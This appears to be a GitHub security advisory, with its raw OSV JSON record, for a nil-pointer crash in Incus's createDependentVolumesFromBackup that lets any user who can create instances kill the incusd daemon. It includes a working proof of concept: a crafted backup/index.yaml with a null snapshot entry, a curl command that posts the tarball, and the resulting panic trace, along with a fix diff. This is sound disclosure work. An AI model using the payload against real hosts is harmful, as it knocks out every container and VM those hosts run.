GHSA-4XG6-52MH-FPW8
Vulnerability from github – Published: 2026-06-26 18:52 – Updated: 2026-06-26 18:52Summary
(*backend).createDependentVolumesFromBackup in internal/server/storage/backend.go contains a cluster of unguarded pointer derefs on every dependent-volume entry's VolumeSnapshots[i], Volume, and Pool sub-fields. An authenticated user with can_create_instances permission on any project can crash the incusd daemon by uploading an instance backup tarball whose dependent_volumes[*] block contains a nil snapshot pointer (or omits volume: / pool:).
This is a sibling-field variant of the 2026-05-04 batch fix d768f81c0a1d985f35ae56219519822b080bf5e3 ("Properly check dependent volumes on import"). That commit added if disk == nil at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.
Vulnerable code
internal/server/storage/backend.go:9352-9412:
func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
...
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil { // ← d768f81 parent fix
return errors.New("Bad dependent volume definition found in index")
}
...
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil
}
bInfo := backup.Info{
Project: disk.Volume.Project, // ← disk.Volume may be nil
Name: disk.Volume.Name,
Backend: disk.Pool.Driver, // ← disk.Pool may be nil
Pool: disk.Pool.Name,
...
}
...
devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
...
}
}
disk has type *config.Config (declared in internal/server/backup/config/backup_config.go:8). Its Volume field is *api.StorageVolume, Pool is *api.StoragePool, VolumeSnapshots is []*api.StorageVolumeSnapshot — all yaml omitempty. YAML omission decodes to nil for each.
The parent fix mental-modeled "outer-iteration variable nil"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.
Reach
- Attacker is an authenticated client with
can_create_instanceson any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753. POST /1.0/instanceswithContent-Type: application/octet-streamandX-Incus-name: <name>.- Body is a tar containing
backup/index.yamlwhoseconfig:block has a non-nilcontainer:(passesinstances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil) and adependent_volumes:list with a malformed entry. - Chain:
instancesPost->createFromBackup:854(Container guard passes) ->pool.CreateInstanceFromBackup->backend.go:782 b.createDependentVolumesFromBackup->backend.go:9374 snap.Namepanics on the nil*api.StorageVolumeSnapshotelement. incusddies. Persistent DoS on repeat.
Minimal backup/index.yaml (used in the bundled PoC):
name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
container:
name: poc-inst
architecture: x86_64
type: container
profiles: ["default"]
config: {}
devices: {}
expanded_devices:
depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
expanded_config: {}
dependent_volumes:
- volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
pool: {name: default, driver: dir, config: {}}
volume_snapshots:
- ~ # explicit null entry → snap.Name at 9374 panics
(The container block must declare at least one device with type: disk, dependent: "true", pool != "", path != "/" to populate devicesMap and reach the second loop. Trivially satisfiable.)
An equivalent triggering YAML omits volume: or pool: from the dependent_volumes entry; in that case disk.Volume.Project at 9378 panics instead.
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + 666-byte poc-inst.tar.gz.
Tested against incus 7.0.0 (zabbly latest GA, build 1:0~ubuntu24.04~202605201355) inside a privileged Ubuntu 24.04 container with default dir pool.
$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
--data-binary @/tmp/poc-inst.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-Incus-name: poc-inst' \
http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep incusd | grep -v grep # process gone
Daemon panic:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]
goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
/build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
/build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
/build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
/build/incus/internal/server/operations/operations.go:307 +0x2c
Stack frame backend.go:9374 is the literal snap.Name line.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_instanceson any project. Not behind the admin tier. - Network attack surface: the Incus REST API on
:8443or the unix socket. - CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: v7.0.0 confirmed. The
dependent_volumesfeature did not exist in v6.x, so the vulnerable code is v7-only.
Suggested fix
--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
for _, disk := range srcBackup.Config.DependentVolumes {
if disk == nil {
return errors.New("Bad dependent volume definition found in index")
}
+
+ if disk.Volume == nil || disk.Pool == nil {
+ return errors.New("Bad dependent volume definition: missing volume or pool")
+ }
+
+ for _, snap := range disk.VolumeSnapshots {
+ if snap == nil {
+ return errors.New("Bad dependent volume snapshot definition")
+ }
+ }
+
optimizedStorage := srcBackup.OptimizedStorage
optimizedHeader := srcBackup.OptimizedHeader
snapshots := []string{}
for _, snap := range disk.VolumeSnapshots {
snapshots = append(snapshots, snap.Name)
}
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus by tonghuaroot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48754"
],
"database_specific": {
"cwe_ids": [
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:52:46Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry\u0027s `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n ...\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil { // \u2190 d768f81 parent fix\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n ...\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name) // \u2190 I-2 trigger: snap may be nil\n }\n\n bInfo := backup.Info{\n Project: disk.Volume.Project, // \u2190 disk.Volume may be nil\n Name: disk.Volume.Name,\n Backend: disk.Pool.Driver, // \u2190 disk.Pool may be nil\n Pool: disk.Pool.Name,\n ...\n }\n ...\n devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n ...\n }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` \u2014 all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: \u003cname\u003e`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -\u003e `createFromBackup:854` (Container guard passes) -\u003e `pool.CreateInstanceFromBackup` -\u003e `backend.go:782 b.createDependentVolumesFromBackup` -\u003e `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n container:\n name: poc-inst\n architecture: x86_64\n type: container\n profiles: [\"default\"]\n config: {}\n devices: {}\n expanded_devices:\n depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n expanded_config: {}\n dependent_volumes:\n - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n pool: {name: default, driver: dir, config: {}}\n volume_snapshots:\n - ~ # explicit null entry \u2192 snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n --data-binary @/tmp/poc-inst.tar.gz \\\n -H \u0027Content-Type: application/octet-stream\u0027 \\\n -H \u0027X-Incus-name: poc-inst\u0027 \\\n http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** \u2014 Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil {\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n+\n+ if disk.Volume == nil || disk.Pool == nil {\n+ return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+ }\n+\n+ for _, snap := range disk.VolumeSnapshots {\n+ if snap == nil {\n+ return errors.New(\"Bad dependent volume snapshot definition\")\n+ }\n+ }\n+\n optimizedStorage := srcBackup.OptimizedStorage\n optimizedHeader := srcBackup.OptimizedHeader\n\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name)\n }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
"id": "GHSA-4xg6-52mh-fpw8",
"modified": "2026-06-26T18:52:46Z",
"published": "2026-06-26T18:52:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Incus: Nil-pointer dereference in createDependentVolumesFromBackup\u00a0on disk.{Volume,VolumeSnapshots,Pool}"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.